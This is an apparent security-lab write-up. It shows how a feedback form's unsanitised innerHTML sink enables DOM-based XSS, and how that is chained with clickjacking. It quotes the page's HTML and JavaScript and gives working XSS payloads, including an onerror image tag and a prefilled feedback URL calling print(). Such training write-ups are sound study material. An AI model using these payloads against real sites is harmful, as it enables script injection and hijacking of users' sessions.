← Writeups

Exploiting clickjacking vulnerability to trigger DOM based XSS

Background

This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the "Click me" button to call the print() function.

Exploitation

when using the submit feedback feature it appends the Name field value here

<span id="feedbackResult">Thank you for submitting feedback, Ursa Hays!</span>
                    <form id="feedbackForm" action="/feedback/submit" method="POST" enctype="application/x-www-form-urlencoded" personal="true">
                        <input required type="hidden" name="csrf" value="YBZbpn20pVybpKdbSivPBuMawNzmw6IL">
                        <label>Name:</label>
                        <input required type="text" name="name">
                        <label>Email:</label>
                        <input required type="email" name="email">
                        <label>Subject:</label>
                        <input required type="text" name="subject">
                        <label>Message:</label>
                        <textarea required rows="12" cols="300" name="message"></textarea>
                        <button class="button" type="submit">
                            Submit feedback
                        </button>
                        <span id="feedbackResult"></span>
                    </form>

it also links to a javascript file

  <script src="/resources/js/submitFeedback.js"></script>
document.getElementById("feedbackForm").addEventListener("submit", function(e) {
    submitFeedback(this.getAttribute("method"), this.getAttribute("action"), this.getAttribute("enctype"), this.getAttribute("personal"), new FormData(this));
    e.preventDefault();
});

function submitFeedback(method, path, encoding, personal, data) {
    var XHR = new XMLHttpRequest();
    XHR.open(method, path);
    if (personal) {
        XHR.addEventListener("load", displayFeedbackMessage(data.get('name')));
    } else {
        XHR.addEventListener("load", displayFeedbackMessage());
    }
    if (encoding === "multipart/form-data") {
        XHR.send(data)
    } else {
        var params = new URLSearchParams(data);
        XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        XHR.send(params.toString())
    }
}

function displayFeedbackMessage(name) {
    return function() {
        var feedbackResult = document.getElementById("feedbackResult");
        if (this.status === 200) {
            feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";
            feedbackForm.reset();
        } else {
            feedbackResult.innerHTML =  "Failed to submit feedback: " + this.responseText
        }
    }
}

This part uses innerHTML to include the name in the message:

feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";

no validation, no sanitization, encoded, scaped, its directly appended in the innerHTML.

This payload is reflected

<img src=errorpls onerror=alert(document.domain)>

We populate the form using the parameters and then using clickbandit we build an html code that makes this XSS + Clickjacking

/feedback?name=<img src=errorpls onerror=print()>&email=attacker@evil.com&subject=subject&message=message